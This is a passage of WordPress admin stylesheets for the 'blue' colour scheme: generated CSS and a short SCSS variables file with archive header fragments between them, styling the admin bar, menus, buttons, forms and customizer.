#wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #fff; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #fff; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #e5f8ff; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #e5f8ff; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(109.571875, 185.228125, 212.128125); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #e1a948; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(202.5, 152.1, 64.8); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(109.571875, 185.228125, 212.128125); background-color: rgb(109.571875, 185.228125, 212.128125); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info .username { color: #e2ecf1; } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #096484; border-color: rgb(7.3723404255, 81.914893617, 108.1276595745); } .wp-pointer .wp-pointer-content h3:before { color: #096484; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #096484; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #096484; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #096484; } .attachment.details .check { background-color: #096484; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #096484; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #096484; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #096484; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #096484; } .theme-section.current, .theme-filter.current { border-bottom-color: #52accc; } body.more-filters-opened .more-filters { color: #fff; background-color: #52accc; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #096484; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #096484; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(232.1830985915, 189.5915492958, 115.8169014085), 0 0 2px 1px #e1a948; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #e5f8ff; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #096484; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: #4796b3; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #e5f8ff; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #096484; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-right-color: #e1a948; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #e1a948; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-right-color: #e1a948; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(232.1830985915, 189.5915492958, 115.8169014085), 0 0 2px 1px #e1a948; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #e1a948; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #e1a948; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #e1a948; border-style: solid; box-shadow: 0 0 0 1px #e1a948; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #e1a948; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #e1a948; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #e1a948; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(232.1830985915, 189.5915492958, 115.8169014085), 0 0 2px 1px #e1a948; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #e1a948; color: #0073aa; } css/colors/blue/colors.scss 0000644 00000000561 15233246127 0011771 0 ustar 00 $highlight-color: #096484; @use "../_admin.scss" with ( $scheme-name: "blue", $base-color: #52accc, $icon-color: #e5f8ff, $highlight-color: $highlight-color, $notification-color: #e1a948, $button-color: #e1a948, $menu-submenu-text: #e2ecf1, $menu-submenu-focus-text: #fff, $menu-submenu-background: #4796b3, $dashboard-icon-background: $highlight-color ); css/colors/blue/colors.css 0000644 00000060367 15233246127 0011620 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #52accc; } .wp-core-ui .wp-ui-text-primary { color: #52accc; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #096484; } .wp-core-ui .wp-ui-text-highlight { color: #096484; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #e1a948; } .wp-core-ui .wp-ui-text-notification { color: #e1a948; } .wp-core-ui .wp-ui-text-icon { color: #e5f8ff; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #52accc; } .view-switch a:hover:before { color: #e1a948; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #52accc; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: #e5f8ff; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #096484; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: #4796b3; } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: #4796b3; } #adminmenu .wp-submenu .wp-submenu-head { color: #e2ecf1; } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: #e2ecf1; } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #fff; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #fff; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #096484; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #e1a948; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: #4796b3; } /* Admin Menu: collapse button */ #collapse-button { color: #e5f8ff; } #collapse-button:hover, #collapse-button:focus { color: #fff; } /* Admin Bar */ #wpadminbar { color: #fff; background: #52accc; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #e5f8ff; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #fff; background: #4796b3; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #fff; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #fff; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: #4796b3; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(116.162375, 182.0949364754, 205.537625); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: #e2ecf1; } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #e5f8ff; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #fff; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #fff; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #e5f8ff; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: #e5f8ff; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(109.571875, 185.228125, 212.128125); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #e1a948; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(202.5, 152.1, 64.8); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(109.571875, 185.228125, 212.128125); background-color: rgb(109.571875, 185.228125, 212.128125); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info .username { color: #e2ecf1; } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #096484; border-color: rgb(7.3723404255, 81.914893617, 108.1276595745); } .wp-pointer .wp-pointer-content h3:before { color: #096484; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #096484; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #096484; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #096484; } .attachment.details .check { background-color: #096484; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #096484; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #096484; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #096484; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #096484; } .theme-section.current, .theme-filter.current { border-bottom-color: #52accc; } body.more-filters-opened .more-filters { color: #fff; background-color: #52accc; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #096484; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #096484; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(232.1830985915, 189.5915492958, 115.8169014085), 0 0 2px 1px #e1a948; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: #e5f8ff; } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #096484; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: #4796b3; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: #e5f8ff; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #096484; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-left-color: #e1a948; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #e1a948; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-left-color: #e1a948; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(232.1830985915, 189.5915492958, 115.8169014085), 0 0 2px 1px #e1a948; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #e1a948; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #e1a948; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { 